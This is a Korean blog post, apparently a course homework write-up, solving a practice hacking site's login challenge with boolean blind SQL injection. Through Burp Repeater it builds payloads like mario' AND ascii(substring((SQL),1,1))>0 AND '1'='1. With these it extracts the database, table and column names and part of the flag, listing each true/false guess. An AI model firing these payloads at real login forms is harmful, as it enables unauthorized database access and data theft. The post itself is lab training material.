안녕하세요! 이번에는 노말틱님께서 만드신 해킹 사이트에 들어가서 문제를 풀어보고 문제 풀이를 해보겠습니다.
우선 가장 어려운 3번 문제 부터 하겠습니다.
아 참고로 저는 버프 스위트 통해 openbrowser을 했습니다!
아이디는 mario 패스워드는 mariosuper입니다.
로그인을 일단 해보겠습니다.
한번 일부로 틀려보곘습니다.
저기에 있는 Request을 Repeater로 보낸 뒤
이렇게 작성해서 보내겠습니다.
Render을 보시면 더욱 보기 편합니다.
이제 SQL을 추측하겠습니다.
Step 1이죠
만약 잘 모르시다면
https://mynameisarke.tistory.com/33
[노말틱 모의 해킹 취업반 5주차 해킹과제] Blind SQLi
안녕하세요! 오늘은 SQL 인젝션 공격 중 하나인 Blind SQLi을 공부해 보겠습니다. 일단 이 Blind SQLi는 어디서 공격을 할까요? -공격 위치? DB결과가 화면에 안 나오는 곳. Error based 나오는 곳 ALL , 사실 S
mynameisarke.tistory.com
참고하세요!
아마.. select ~~~ from ~~~ where ~~~ = ' ~~~' ; 이런 형식 아닐까요?
해보죠
mario' AND 1=1 AND '1'='1
SQLI가 통하네요! 근데 게시물 처럼 나오는 게 아니라서 저희는 blind 공격을 해야 한다는 것을 알아야합니다.
Step 2. 참 거짓이 분명한가?
그초 거짓이면 Wrong이 나왔잖아요.
Step 3. 공격 틀 만들기
차차 해보죠 먼저 아스키 코드
mario' AND ascii('t')>0 AND '1'='1
그 다음에 substring 대입
mario' AND ascii(substring('test',1,1))>0 AND '1'='1
그 다음에는 'test' 대신 SQL 넣어서 공격 포맷을 만들겠습니다.
mario' AND ascii(substring((SQL),1,1))>0 AND '1'='1
완성!
Step. 4 DB이름 추출하기
이제 고된 시간이죠.. 노가다를 해보겠습니다!
select database()
mario' AND ascii(substring((select database()),1,1))>0 AND '1'='1
일일이 사진 넣기엔 힘들테니 그냥 제가 입력 한 숫자 순서대로 작성하겠습니다.
100 참
150 거짓
120 거짓
115 거짓
= 114 거짓
= 115 참
첫 글자가 115 인것을 찾았습니다.
다음 글자 찾아보겠습니다.
mario' AND ascii(substring((select database()),2,1))>0 AND '1'='1
100 참
120 거짓
115 거짓
=114 거짓
=113 참
두번째 글자가 113 인것을 알 수 있습니다.
115 113
다음 3번째 글자 찾아보죠
mario' AND ascii(substring((select database()),3,1))>0 AND '1'='1
100 참
120 거짓
110 거짓
105 참
108 거짓
107 참
=108 참
115 113 108
다음 4번째 글자
mario' AND ascii(substring((select database()),4,1))>0 AND '1'='1
100 참
120 거짓
110 거짓
105 거짓
103 참
=104 거짓
=105 참
115 113 108 105
다음 글자 5번째
mario' AND ascii(substring((select database()),5,1))>0 AND '1'='1
100 거짓
50 참
75 참
90 참
95 거짓
93 참
94 참
=95 참
115 113 108 105 95
다음 글자 6번째
mario' AND ascii(substring((select database()),6,1))>0 AND '1'='1
100 거짓
50 참
75 거짓
60 거짓
55 거짓
53 거짓
51 거짓
=51 참
115 113 108 105 95 51
다음 글자 7번째
mario' AND ascii(substring((select database()),7,1))>0 AND '1'='1
0 거짓
=0 참
NULL 나왔네요!
즉 115 113 108 105 95 51 이게 데이터 베이스 명입니다.
sqli_3 이게 데이터 명입니다
Step 5. 테이블 이름 추출하기
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),1,1)) > 0) AND '1'='1
시작하죠!
100 참
120 거짓
110 거짓
105 거짓
102 거짓
101 참
=102 참
테이블 이름의 첫 글자가 102네요
두번째 글자
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),2,1)) > 0) AND '1'='1
100 참
120 거짓
110 거짓
105 참
107 참
108 거짓
=108 참
102 108
테이블의 3번째 글자
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),3,1)) > 0) AND '1'='1
100 거짓
50 참
75 참
90 참
95 참
97 거짓
96 참
=97 참
102 108 97
테이블 4번째 글자
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),4,1)) > 0) AND '1'='1
100 참
120 거짓
110 거짓
105 거짓
102 참
103 거짓
=103 참
102 108 97 103
테이블의 5번째 글자
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),5,1)) > 0) AND '1'='1
100 거짓
50 참
75 참
90 참
95 거짓
92 참
94 참
=95 참
102 108 97 103 95
테이블 6번째 글자
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),6,1)) > 0) AND '1'='1
100 참
120 거짓
110 참
115 참
116 거짓
=116 참
102 108 97 103 95 116
이제 7번째 글자
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),7,1)) > 0) AND '1'='1
100 거짓
50 참
75 참
90 참
95 참
96 참
97 거짓
=97 참
102 108 97 103 95 116 97
이제 8번째
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),8,1)) > 0) AND '1'='1
100 거짓
50 참
80 참
90 참
95 참
98 거짓
97 참
=98 참
102 108 97 103 95 116 97 98
이제 9번째
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),9,1)) > 0) AND '1'='1
100 참
120 거짓
110 거짓
105 참
107 참
108 거짓
=108 참
102 108 97 103 95 116 97 98 108
이제 10번째
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),10,1)) > 0) AND '1'='1
100 참
120 거짓
110 거짓
105 거짓
102 거짓
101 거짓
=101 참
102 108 97 103 95 116 97 98 108 101
이제 11번째
mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),11,1)) > 0) AND '1'='1
0거짓
=0 참
드디어!!! 끝났네요
테이블 이름을 구했습니다. 한 번 봐보겠습니다.
102 108 97 103 95 116 97 98 108 101
flag_table
좋아요! 제가 원하는 flag_table이 바로 나와줬네요
이제 컬럼 이름 찾으러 갑시다.
Step 6 컬럼 이름 추출
mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),1,1)) > 0) AND '1'='1
100 참
120 거짓
110 거짓
105 거짓
102 거짓
=102 참
102
2번째 글자
mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),2,1)) > 0) AND '1'='1
100참
110 거짓
105 참
107 참
108 거짓
=108 참
102 108
3번째 글자
mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),3,1)) > 0) AND '1'='1
100 거짓
50 참
75 참
90 참
95 참
97 거짓
96 참
=97 참
102 108 97
4번째 글자
mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),4,1)) > 0) AND '1'='1
100 참
110 거짓
105 거짓
102 참
103 거짓
=103 참
102 108 97 103
5번째 글자
mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),5,1)) > 0) AND '1'='1
0 거짓
=0 참
4글자 밖에 안되서 감사합니다!
봐볼게요
102 108 97 103
flag
이제 데이터만 추출하면 됩니다! 시작하죠
Step 8. Data 추출
mario' AND ascii(substring((SELECT flag FROM flag_table limit 0,1),1,1))>0 AND '1'='1
100 참
110 참
115 거짓
=115 참
2번째 글자
mario' AND ascii(substring((SELECT flag FROM flag_table limit 0,1),2,1))>0 AND '1'='1
100 참
110 거짓
105 거짓
102 거짓
101 거짓
=101 참
115 101 ....
여기까지! 여기까지만 작성하겠습니다
저는 풀었습니다. 하지만 정답을 블로그에 올리는 것은 문제 출시자에 대한 예의가 아니라고 합니다.
어쨋든 저렇게 계속 반복 하시면 정답이 나오게 됩니다.
.
.
.
.
.
글이 너무 길어져서 여기까지만 작성하겠습니다! 다음 글에는 1,2번을 풀이 한꺼번에 하겠습니다.
노가다을 할 필요가 없어서 금방 끝날거 같습니다.
긴 글 봐주셔서 감사합니다!
'보안지식 > SQL' 카테고리의 다른 글
[노말틱 모의 해킹 취업반 6주차 해킹과제] Blind SQL Injection Python(POST방식) (0) | 2023.05.07 |
---|---|
[노말틱 모의 해킹 취업반 5주차 해킹과제] SQLi 문제 풀이(1,2문제) (0) | 2023.05.01 |
[노말틱 모의 해킹 취업반 5주차 해킹과제] Blind SQLi (1) | 2023.04.28 |
[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection (2) | 2023.04.21 |
[노말틱 모의 해킹 취업반 3주차 해킹과제] 로그인 로직 만들기(2), SQL InJection (0) | 2023.04.15 |